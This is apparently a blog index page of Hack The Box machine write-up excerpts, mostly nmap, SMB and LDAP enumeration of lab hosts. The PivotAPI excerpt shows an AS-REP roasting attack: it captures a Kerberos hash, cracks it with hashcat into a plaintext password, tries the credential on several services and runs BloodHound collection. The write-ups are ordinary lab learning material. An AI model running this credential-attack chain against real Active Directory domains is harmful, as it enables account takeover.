Hero Image
[HTB] Machine: PivotAPI

PivotAPI

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.240 --min-rate 5000                                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:10 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49708/tcp open  unknown
52843/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds

└─$ nmap -Pn -p21,22,53,88,135,139,389,445,464,593,636,1433,3268,3269,9389 -sC -sV 10.10.10.240 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:12 BST
Nmap scan report for 10.10.10.240 (10.10.10.240)
Host is up (0.10s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
| 02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20  01:18PM               219091 notes1.pdf
| 08-08-20  01:34PM               279445 notes2.pdf
| 08-08-20  01:41PM                  105 README.txt
|_02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
22/tcp   open     ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
|   256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_  256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp   open     domain        Simple DNS Plus
88/tcp   open     kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-05 19:12:42Z)
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  filtered ldap
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
1433/tcp open     ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.240:1433: 
|     Target_Name: LICORDEBELLOTA
|     NetBIOS_Domain_Name: LICORDEBELLOTA
|     NetBIOS_Computer_Name: PIVOTAPI
|     DNS_Domain_Name: LicorDeBellota.htb
|     DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
|     DNS_Tree_Name: LicorDeBellota.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.10.240:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-05T19:05:41
|_Not valid after:  2053-10-05T19:05:41
|_ssl-date: 2023-10-05T19:13:30+00:00; -7h00m01s from scanner time.
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-10-05T19:12:54
|_  start_date: N/A
|_clock-skew: mean: -7h00m01s, deviation: 0s, median: -7h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.10 seconds
  • smb
└─$ smbclient -N -L //10.10.10.240                                                              
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ dig axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb                                                   

; <<>> DiG 9.19.17-1-Debian <<>> axfr LicorDeBellota.htb @PivotAPI.LicorDeBellota.htb
;; global options: +cmd
; Transfer failed.
  • ldapsearch
└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -s base namingcontexts           
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=LicorDeBellota,DC=htb
namingcontexts: CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=LicorDeBellota,DC=htb
namingcontexts: DC=DomainDnsZones,DC=LicorDeBellota,DC=htb
namingcontexts: DC=ForestDnsZones,DC=LicorDeBellota,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://LicorDeBellota.htb -x -b "DC=LicorDeBellota,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=LicorDeBellota,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
  • No results for rpc
  • ftp
└─$ ftp anonymous@10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57367|)
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
  • Running exiftool on pdf files shows LicorDeBellota.htb\kaorz
======== notes2.pdf
ExifTool Version Number         : 12.67
File Name                       : notes2.pdf
Directory                       : .
File Size                       : 279 kB
File Modification Date/Time     : 2020:08:08 12:34:25+01:00
File Access Date/Time           : 2023:10:06 19:12:03+01:00
File Inode Change Date/Time     : 2023:10:06 19:12:03+01:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.5
Linearized                      : No
Page Count                      : 5
XMP Toolkit                     : Image::ExifTool 12.03
Creator                         : Kaorz
Publisher                       : LicorDeBellota.htb
Producer                        : cairo 1.10.2 (http://cairographics.org)

Foothold

  • Let’s check if user is AS-REP-roastable
└─$ impacket-GetNPUsers -dc-ip PivotAPI.LicorDeBellota.htb LicorDeBellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441
  • Let’s crack it
    • kaorz:Roper4155
└─$ hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-12th Gen Intel(R) Core(TM) i5-12400, 1435/2934 MB (512 MB allocatable), 2MCU
...
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:117660010b88116ef19ce2f9e608d1d9$a8f47a80fddd556b91bb360af849916358388168cf2ed0c2783c95ff09d799d504477fefe0d1a9ab33a92243939260e558b739cedd2a8c3d61bf85ae56360069cd38a4f14b04865afdbbbf99a3816da14b41058a0249c62c180d50337a6e3c27da5cdde876ca8b4f70f1d5624c1f3358e0a451bb5ec9cb3ee580148951680f5d06f2ce8c11bf61cb8600cbb290dd046a12ad9c8cae68e4ca9706c904189e4ef0a192f8cc192e6286241547ae151111d074323e54a174b945156365f6db2f80d9b7ec558ffa64b7fcd93206f055ecfbf973fa4fff67f20ea88d63fdc29d6aea709c7da2d8073ef9f7fcc3f36a39160138e0679042f7fd8441:Roper4155
  • The creds didn’t work for ssh
└─$ sshpass -p 'Roper4155' ssh kaorz@10.10.10.240
Warning: Permanently added '10.10.10.240' (ED25519) to the list of known hosts.
Permission denied, please try again.
  • No SPNs
└─$ impacket-GetUserSPNs LicorDeBellota.htb/Kaorz:'Roper4155' -dc-ip 10.10.10.240  
Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!
  • No access to mysql
└─$ impacket-mssqlclient LicorDeBellota.htb/Kaorz:'Roper4155'@10.10.10.240 -windows-auth 
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\Kaorz'.

User

  • Let’s check bloodhound
└─$ bloodhound-python -u kaorz -p 'Roper4155' -d licordebellota.htb -dc licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: licordebellota.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 16S
INFO: Compressing output into 20231007112624_bloodhound.zip
  • Nothing interesting
    • Domain Users

Wednesday, October 4, 2023 | 21 minutes Read
Hero Image
[HTB] Machine: Json

Json

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.158 -T4   
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 20:02 BST
Stats: 0:03:53 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 45.70% done; ETC: 20:10 (0:04:37 remaining)
Nmap scan report for 10.10.10.158 (10.10.10.158)
Host is up (0.12s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown

└─$ nmap -Pn -p21,80,135,139,445,5985 -sC -sV 10.10.10.158                                 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 20:02 BST
Nmap scan report for 10.10.10.158 (10.10.10.158)
Host is up (0.13s latency).

PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp   open  http         Microsoft IIS httpd 8.5
|_http-title: Json HTB
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-07T19:02:11
|_  start_date: 2023-09-07T18:55:22
|_clock-skew: mean: -36s, deviation: 0s, median: -36s
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:fb:43 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.86 seconds
  • smb
└─$ smbclient -N -L //10.10.10.158                                                    
session setup failed: NT_STATUS_ACCESS_DENIED
  • Web server

Wednesday, September 6, 2023 | 7 minutes Read
Hero Image
[HTB] Machine: Support

Support

Enumeration

  • nmap
└─$ nmap -p- -Pn 10.10.11.174 -T4                                                                                          
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-30 13:05 BST
Nmap scan report for 10.10.11.174 (10.10.11.174)
Host is up (0.094s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

└─$ nmap -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.11.174 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-30 13:11 BST
Nmap scan report for 10.10.11.174 (10.10.11.174)
Host is up (0.18s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-08-30 12:10:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: -36s
| smb2-time: 
|   date: 2023-08-30T12:10:55
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.85 seconds
  • smb
└─$ smbclient -N -L //10.10.11.174       

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

└─$ smbclient -N  //10.10.11.174/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 18:01:06 2022
  ..                                  D        0  Sat May 28 12:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 12:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 12:19:55 2022
  putty.exe                           A  1273576  Sat May 28 12:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 12:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 18:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 12:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 12:19:43 2022

                4026367 blocks of size 4096. 968923 blocks available
  • ldapsearch
└─$ ldapsearch -H ldap://support.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=support,DC=htb
namingcontexts: CN=Configuration,DC=support,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingcontexts: DC=DomainDnsZones,DC=support,DC=htb
namingcontexts: DC=ForestDnsZones,DC=support,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://support.htb -x -b "DC=support,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5A, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1

Foothold/User

  • UserInfo.exe.zip
    • Let’s reverse it using dnspy
└─$ file UserInfo.exe/UserInfo.exe
UserInfo.exe/UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
  • We have interesting classes LdapQuery and Protected

Monday, August 28, 2023 | 6 minutes Read
Hero Image
[HTB] Machine: Bagel

Bagel

Enumeration

  • nmap
└─$ nmap -p22,5000,8000 -sC -sV -Pn 10.10.11.201 -T4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-25 19:15 BST
Nmap scan report for 10.10.11.201 (10.10.11.201)
Host is up (0.11s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 25 May 2023 18:15:19 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 25 May 2023 18:15:35 GMT
|     Connection: close
|   Help, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 25 May 2023 18:15:46 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 25 May 2023 18:15:19 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (version).)</h1>
|   TLSSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 25 May 2023 18:15:47 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Thu, 25 May 2023 18:15:20 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Thu, 25 May 2023 18:15:14 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=5/25%Time=646FA5D2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Microsoft
SF:-NetCore/2\.0\r\nDate:\x20Thu,\x2025\x20May\x202023\x2018:15:19\x20GMT\
SF:r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-N
SF:etCore/2\.0\r\nDate:\x20Thu,\x2025\x20May\x202023\x2018:15:19\x20GMT\r\
SF:nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r
SF:\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(version\)
SF:\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSer
SF:ver:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu,\x2025\x20May\x202023\x2
SF:018:15:35\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20M
SF:icrosoft-NetCore/2\.0\r\nDate:\x20Thu,\x2025\x20May\x202023\x2018:15:46
SF:\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:
SF:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\
SF:(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\
SF:r\nDate:\x20Thu,\x2025\x20May\x202023\x2018:15:46\x20GMT\r\nContent-Len
SF:gth:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Ba
SF:d\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(
SF:TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu
SF:,\x2025\x20May\x202023\x2018:15:46\x20GMT\r\nContent-Length:\x2052\r\nC
SF:onnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x2
SF:0\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessionReq,E
SF:6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\n
SF:Server:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu,\x2025\x20May\x202023
SF:\x2018:15:47\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\
SF:nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\
SF:x20line\x20\(parts\)\.\)</h1>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.93%I=7%D=5/25%Time=646FA5CE%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.10\.9\r\nDate:\x20Thu,\x2025\x20May\x202023\x2018:15:14\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html\r\nCo
SF:nnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title
SF:>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20shoul
SF:d\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL:\x
SF:20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http://bagel
SF:\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the\x20li
SF:nk\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nS
SF:erver:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Thu,\x2025\x2
SF:0May\x202023\x2018:15:20\x20GMT\r\nContent-Type:\x20text/html;\x20chars
SF:et=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doc
SF:type\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<
SF:h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found
SF:\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manu
SF:ally\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p
SF:>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTM
SF:L\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org
SF:/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\
SF:x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x04\\x0
SF:0\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20
SF:-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x2
SF:0\x20\x20\x20</body>\n</html>\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.25 seconds
  • We see 3 ports
    • Let’s check port 8000
    • After scanning through web server, we detect LFI

Saturday, June 3, 2023 | 9 minutes Read